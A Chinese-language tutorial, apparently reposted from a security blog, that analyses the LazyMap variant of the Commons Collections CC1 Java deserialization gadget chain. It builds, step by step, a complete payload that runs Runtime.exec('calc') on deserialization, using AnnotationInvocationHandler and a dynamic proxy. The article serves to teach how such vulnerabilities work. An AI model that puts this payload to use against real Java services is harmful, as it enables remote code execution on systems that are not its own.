Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】

news/2024/9/23 0:26:10

CC1链的第二种方式-LazyMap版调用链

目录

  • LazyMap

  • 构造payload

  • CC1的调用链

  • 参考链接

LazyMap

在之前的CC1链中分析,其实是其中一种方式(国内版本),还有另外一种方式,也是ysoserial中的CC1链的方式(国外版本)。

区别在于调用transform的类是不同的。

在寻找transform调用的时候,当时使用的是TransformedMap中的checkSetValue()方法。

其实在LazyMap的get()方法也满足需求,也能到达readObject()。

具体方法如下:

其中比较重要的代码是

Object value = factory.transform(key);

也就是我们如果能控制factory的值为ChainedTransformer,就可以实现命令执行。

factory的赋值语句在LazpMap的构造函数内部。

那又是谁调用了LazyMap的get()方法呢?

这里非常的不好找,因为调用太多了(找到的师傅牛~)。

AnnotationInvocationHandler类的invoke()方法中有调用:

而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法。

所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发。

因此,整个的调用链也就出来了:

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform

构造payload

从LazyMap的get()方法中可以看到,通过factory.transform(key)方式调用了transform()

所以根据CC1链的第一条,只需要控制factorychainedTransformer即可。

factory是在LazyMap的构造函数中赋值:

而此构造函数不能直接调用,但是可以通过decorate()方法获取到:

则可以得到如下不完整的payload:

Transformer[] TransformerArray = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

其中调用lazyMap的get()方法,则会触发恶意代码,测试一下:

// 调用lazyMap的get()方法则会调用chainedTransformer的transformer()lazyMap.get("key");

接下来想办法:如何调用到lazyMap的get()方法呢?

前面说在AnnotationInvocationHandler类的invoke()方法中有调用get()方法:

而这里的调用,是通过memberValues来进行调用,我们需要保证memberValueslazyMap,这样的话,执行该invoke()方法时才会调用到lazyMapget()方法。

memberValues是通过AnnotationInvocationHandler的构造函数传入:

AnnotationInvocationHandler类不能实例化,需要借助反射,相关代码如下:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

那如何调用InvocationHandler ih对象的invoke()方法呢?

这里可以看到AnnotationInvocationHandler类实现自InvocationHandler接口,也就是说AnnotationInvocationHandler类是一个动态代理的处理器类。

那么,想调用InvocationHandler ih对象的invoke()方法,只需要调用被代理对象的任意方法,则可以调用ih对象的invoke()。这里需要注意:直接调用被代理对象的任意方法不行,需要借助动态代理才可以调用到invoke(),也就是说需要创建动态代理。

创建动态代理代码如下:

  • 这里的动态代理对象,用来代理LazyMap实现的接口,处理器对象为ih
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

这样只需要调用LazyMap对象的任意方法,就会调用ih对象的invoke()

注意这里虽然调用任意方法,可以调用ih对象的invoke(),但是还得保证,调用invoke()方法之后,能执行到Object result = memberValues.get(member);,这样才能执行我们想要的lazyMapget()方法。

我们可以看到:执行invoke方法之后,有一些条件需要绕过一下,否则就直接返回了,无法执行到memberValues.get(member)

总结下来就是:动态代理的执行方法(即被代理对象lazyMap的任意方法)不能是equals\toString\hashCode\annotationType方法,且不能存在参数。

那么,被代理对象lazyMap可执行的方法(看代理的接口Map的方法)还有下面几个:

测试一下是否可以执行恶意代码:

Transformer[] TransformerArray = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), ih);mapProxy.clear();

接下来,寻找谁调用了mapProxy(被代理对象)的size()/isEmpty()/clear()/keySet()/values()/entrySet()方法。

其实这里(在CC1链的第一条中也用过)刚好AnnotationInvocationHandlerreadObject方法中存在 map对象的entrySet()无参方法调用:

其中我们需要保证memberValues变量为mapProxy(被代理对象)即可,而且这里是在readObject方法中,直接一步到位。

这里怎么办呢?

同样的,通过反射创建AnnotationInvocationHandler对象,并将mapProxy(被代理对象)传入,给memberValues变量赋值即可:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

而这里的前面三行已经有了,所以此时的payload可以合并为:

Transformer[] TransformerArray = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

得到了一个对象obj,对其序列化,反序列时会自动调用器readObject()方法,执行恶意代码。

则最终的payload为:

Transformer[] TransformerArray = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);Object obj = declaredConstructor.newInstance(Target.class, mapProxy);SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

CC1的调用链

参考链接

Java安全 CC链1分析(Lazymap类)_cc1链使用的lazymap类-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/63554.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

瑞云科技AIGC云平台:重塑电商设计流程!

在快节奏的电商市场中,商品更新换代的速度越来越快,而电商设计团队传统的设计流程和工作模式却难以满足当前行业对快速响应、高效发展和降低成本的实际需求.对此,瑞云科技针对电商设计行业的痛点,提供了全新的AIGC创作云平台.从2022年ChatGPT的发布到,AI正以惊人的速度席卷全球…

学习高校课程-软件工程-敏捷开发(ch5)

WHAT IS AGILITY 什么是敏捷性 An agile team is a nimble team able to appropriately respond to changes. Change is what software development is very much about. Changes in the software being built, changes to the team members, changes because of new technolog…

从零开始一个git操作实例,图文并茂

徒弟不懂git怎么用, 于是写了篇文章, 把本地git操作从头写了一遍, 自己去看吧!0、基本概念 •Git是一个免费、开源的、分布式版本控制系统 •它使用一个特殊的叫做仓库的数据库来记录文件的变化 •仓库中的每个文件都有一个完整的版本历史记录 1)安装 sudo apt-update sud…

Java反序列化利用链篇 | JdbcRowSetImpl利用链分析

JdbcRowSetImpl利用链 前言 首先说明一下:利用链都有自己的使用场景,要根据场景进行选择不同的利用链。 JdbcRowSetImpl利用链用于fastjson反序列化漏洞中。 为什么? 因为fastjson会在反序列化类时自动调用set开头的方法(不一定是setter方法),而JdbcRowSetImpl中存在一个…

torch.stack

看一下stack的直观解释,动词可以简单理解为:把……放成一堆、把……放成一摞。 torch.stack方法用于沿着一个新的维度 join(也可称为cat)一系列的张量(可以是2个张量或者是更多),它会插入一个新的维度,并让张量按照这个新的维度进行张量的cat操作。值得注意的是:张量序…

Java反序列化调用链分析系列 | URLDNS链

URLDNS链 URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。 该链比较简单,利用链也比较短。 其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。 整个调用链如下: HashMap.readObject() HashMap.putVal() HashMap.hash()URL.hash…

控制请求并发数量:p-limit 源码解读

p-limit 是一个控制请求并发数量的库,他的整体代码不多,思路挺好的,很有学习价值; 举例 当我们同时发起多个请求时,一般是这样做的 Promise.all([requestFn1,requestFn2,requestFn3 ]).then(res =>{})或者 requestFn1() requestFn2() requestFn3()而使用 p-limit 限制并…

程序员职业发展之路思考:工程师的等级阶梯

德雷福斯模型:新手到专家 德雷福斯模型(Dreyfus model)是在 1980 年,Dreyfus 兄弟共同提出的技能习得模型。 它是一个技能习得的阶梯模型,也可以用来考察行业技术能手的分级。该模型由上而下分成:专家、精通者、胜任者、高级新手、新手五个等级,越到上面人数占比越少。新…